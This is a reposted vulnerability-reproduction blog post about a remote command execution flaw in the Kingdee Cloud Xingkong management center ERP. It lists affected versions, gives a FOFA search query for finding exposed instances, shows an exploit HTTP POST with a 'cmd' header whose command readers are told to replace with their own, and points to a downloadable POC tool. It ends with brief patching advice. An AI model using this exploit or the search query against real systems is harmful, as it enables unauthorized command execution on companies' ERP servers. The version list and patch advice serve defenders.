Kingdee Cloud Xingkong management center has remote command execution attached POC

Disclaimer: Do not use the relevant technologies in this article to engage in illegal testing. Any direct or indirect consequences and losses caused by the dissemination and use of the information or tools provided in this article shall be borne by the user himself. Adverse consequences have nothing to do with the article author. This article is for educational purposes only.

1. Introduction to Kingdee Cloud and Starry Sky Management Center

WeChat official account search: Nanfeng Vulnerability Reappearance Library This article was first published on the Nanfeng Vulnerability Reappearance Library official account

Kingdee Cloud Star Management Center is a new generation of strategic enterprise management software developed by Kingdee Software (China) Co., Ltd. based on cutting-edge technologies such as cloud computing, big data, social networking, artificial intelligence, and the Internet of Things.

2. Vulnerability description

Kingdee Yunxingkong is a cloud-based enterprise resource management (ERP) software that provides enterprises with integrated solutions for financial management, supply chain management, and business process management. Kingdee Cloud Xingkong focuses on large and medium-sized enterprises with multiple organizations and multiple profit centers, and provides an open ERP cloud platform for enterprises in the digital economy era with three characteristics of "openness, standardization and social interaction". The services cover: finance, supply chain, intelligent manufacturing, amoeba management, omni-channel marketing, e-commerce, HR, enterprise Internet services, helping enterprises to realize the new ecology of digital marketing and management restructuring, etc., and enhance the digital capabilities of enterprises. The system is vulnerable to remote command execution

CVE number:

CNNVD number:

CNVD number:

3. Affect the version

6.x version: earlier than 6.2.1012.4
7.x version: 7.0.352.16 to 7.7.0.202111
8.x version: 8.0.0.202205 to 8.1.0.20221110

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4. fofa query statement

app="Kingdee Cloud Starry Sky-Management Center"

5. Vulnerability recurrence

Vulnerability link: http://127.0.0.1/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc

Vulnerability Packet:

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Connection: Keep-Alive
Content-Type: text/json
cmd: ipconfig
Content-Length: 15944

{
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            "format": "3"
        }

picture

You can replace the ipconfig in the head with the command you want to execute

6.POC&EXP

Follow the official account Nanfeng Vulnerability Reproduction Library and reply Vulnerability Reproduction 42 to get the download address of the POC tool:

 

7. Rectification opinions

 

Version 7.x must first install a full patch (repair code) and then install a temporary patch (add security configuration). Version 8.x management center (port 8000 by default) is not open to the public by default and contains repair code. However, direct installation of temporary patches may fail, so it is still recommended to install the full patch (fix code) first and then install the temporary patch (add security configuration).

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Origin blog.csdn.net/nnn2188185/article/details/131820257